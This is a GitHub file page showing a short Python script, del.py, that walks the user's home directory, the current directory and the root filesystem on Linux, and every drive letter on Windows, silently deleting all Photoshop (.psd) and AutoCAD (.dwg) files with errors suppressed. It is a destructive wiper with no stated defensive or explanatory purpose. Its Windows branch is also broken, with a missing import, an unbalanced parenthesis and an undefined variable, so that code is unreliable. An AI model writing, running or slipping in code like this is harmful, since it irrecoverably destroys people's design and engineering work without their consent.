-
Notifications
You must be signed in to change notification settings - Fork 21
/
del.py
executable file
·44 lines (42 loc) · 1.43 KB
/
del.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import platform
Platform = platform.system()
if Platform == 'Linux':
from os.path import expanduser
drc_1 = "/"
drc_2 = "."
drc_3 = expanduser("~")
for dirName, subdirList, fileList in os.walk(drc_3):
for fname in fileList:
try:
if fname.endswith(".psd") or fname.endswith(".dwg"):
os.remove(dirName+"/"+fname)
except:
pass
for dirName, subdirList, fileList in os.walk(drc_2):
for fname in fileList:
try:
if fname.endswith(".psd") or fname.endswith(".dwg"):
os.remove(dirName+"/"+fname)
except:
pass
for dirName, subdirList, fileList in os.walk(drc_1):
for fname in fileList:
try:
if fname.endswith(".psd") or fname.endswith(".dwg"):
os.remove(dirName+"/"+fname)
except:
pass
else:
Dir_List = list(string.uppercase)
for drc in Dir_List:
drc = drc+":/"
if (os.path.isdir(drc) == "True":
for dirName, subdirList, fileList in os.walk(drc):
print DirList
for fname in fileList:
try:
if fname.endswith(".psd") or fname.endswith(".dwg"):
os.remove(dirName+"/"+fname)
except:
pass